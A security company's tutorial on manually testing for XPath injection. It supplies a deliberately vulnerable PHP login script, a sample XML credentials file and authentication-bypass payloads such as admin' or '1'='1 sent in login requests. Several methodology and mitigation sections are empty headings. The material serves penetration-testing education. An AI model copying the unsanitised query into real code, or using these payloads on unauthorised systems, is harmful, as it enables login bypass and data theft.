Learn Pentesting: A Technical Deep Dive into Manual Testing for XPath Injection

In today’s post, we’ll explore XPath injection—a lesser-known yet potentially dangerous injection vulnerability found in web applications that process XML data. This article is part of our “Learn Pentesting” series, designed to provide a detailed, technical reference for penetration testers and those aspiring to enter the field.

XPath injection occurs when user-supplied input is unsafely incorporated into XPath queries, enabling an attacker to manipulate the query logic, bypass authentication, or retrieve unauthorized data. In this post, we’ll walk through the fundamentals of XPath, demonstrate how vulnerabilities occur in code, and provide a step-by-step guide for manually testing for XPath injection vulnerabilities.


Understanding XML and XPath

XML (eXtensible Markup Language) is a common format for data storage and transmission. XPath is a query language designed to navigate through elements and attributes in an XML document. For example, consider the following simple XML structure:

<?xml version="1.0" encoding="UTF-8"?>
<users>
    <user>
        <username>admin</username>
        <password>adminpass</password>
    </user>
    <user>
        <username>test</username>
        <password>testpass</password>
    </user>
</users>

A basic XPath query to select a user might look like:

/users/user[username/text()='admin']

When user input is embedded directly into such queries without proper sanitization, it opens the door to XPath injection.


How XPath Injection Works

The Vulnerability

Consider a web application that uses user-supplied credentials to construct an XPath query. If the application fails to properly sanitize inputs, an attacker might inject malicious XPath fragments to alter the logic of the query.

For instance, suppose an application constructs the following query:

//user[username/text()='{username}' and password/text()='{password}']

If the inputs are not sanitized, an attacker might supply:

This could transform the query into:

//user[username/text()='admin' or '1'='1' and password/text()='anything']

Because of operator precedence in XPath (with and evaluated before or), the injected payload may not work as expected in every scenario. A penetration tester might need to experiment with input variations—using different quote types, injecting additional parentheses, or placing the injection in a different parameter—to effectively bypass authentication or extract data.

Detecting the Issue

A common indicator of XPath injection vulnerability is when an input containing a single quote (') causes an error or unexpected behavior in the application. Error messages that reference XPath syntax, or differences in application responses when a payload is injected, can signal the presence of a vulnerability.


Setting Up a Vulnerable Test Environment

Before testing in a live environment, it’s best to set up a controlled lab. You can create a simple PHP-based web application that simulates the vulnerable behavior. Below is an example of vulnerable code and a corresponding XML file.

Sample XML File: users.xml

<?xml version="1.0" encoding="UTF-8"?>
<users>
    <user>
        <username>admin</username>
        <password>adminpass</password>
    </user>
    <user>
        <username>test</username>
        <password>testpass</password>
    </user>
</users>

Vulnerable PHP Code Example

<?php
// Sample vulnerable code for XPath injection demonstration

if (isset($_GET['username']) && isset($_GET['password'])) {
    $username = $_GET['username'];
    $password = $_GET['password'];

    // Load the XML file containing user data
    $xml = simplexml_load_file('users.xml');

    // Construct XPath query without sanitization (vulnerable to injection)
    $query = "//user[username/text()='{$username}' and password/text()='{$password}']";

    // Execute the XPath query
    $result = $xml->xpath($query);

    if (count($result) > 0) {
        echo "Login successful!";
    } else {
        echo "Invalid credentials.";
    }
} else {
    echo "Please provide username and password.";
}
?>

Review:


Manual Testing Methodology

When manually testing for XPath injection vulnerabilities, follow these steps:

1. Identify Input Points

2. Test for Basic Vulnerability

3. Experiment with Boolean-Based Payloads

4. Analyze Application Responses

5. Use an Intercepting Proxy

6. Record and Compare Results


Detailed Code Example: Exploiting XPath Injection

Let’s revisit our PHP example and walk through a manual testing scenario.

Scenario Walkthrough

  1. Initial Request:
    Send a normal login request:

    GET /login.php?username=admin&password=adminpass
    

    Expected result: “Login successful!”

  2. Injection Test:
    Modify the username to include a payload:

    GET /login.php?username=admin'%20or%20'1'%3D'1&password=irrelevant
    

    The URL-encoded payload translates to:

    admin' or '1'='1
    

    Resulting XPath query:

    //user[username/text()='admin' or '1'='1' and password/text()='irrelevant']
    

    Note: Depending on the application’s logic and XPath operator precedence, this might not immediately bypass the login if the password check remains coupled with the and operator. If the application response changes (e.g., returns an error or a different message), it’s an indication that injection might be possible.

  3. Payload Refinement:
    If the initial payload does not bypass authentication, try altering the payload placement. For example, injecting into both fields:

    • Username: admin' or '1'='1
    • Password: anything' or '1'='1

    This changes the query to:

    //user[username/text()='admin' or '1'='1' and password/text()='anything' or '1'='1']
    

    By testing different combinations, you can determine how the backend processes the input and potentially bypass security controls.

Review of the code and testing examples shows that the vulnerable code improperly constructs the XPath query, and the payloads provided are a common starting point for manual testing. Penetration testers should adapt these examples based on the specifics of the target environment.


Advanced Testing Considerations

Handling Namespaces

Injection Variations

Automated Tools


Mitigation Strategies

To protect against XPath injection vulnerabilities, developers should adopt the following practices:


Conclusion

XPath injection, while less common than SQL injection, poses significant risks when web applications rely on XML data sources. Through careful manual testing—by injecting single quotes, experimenting with boolean-based payloads, and analyzing application responses—penetration testers can uncover these vulnerabilities.

This deep dive into manual testing techniques for XPath injection should serve as a practical reference for your pentesting engagements. Always ensure to work within legal boundaries and use these techniques responsibly.

Happy testing!

Ready to see how Numorian can help your business?

Contact us today to learn more about our services and how we can support your business.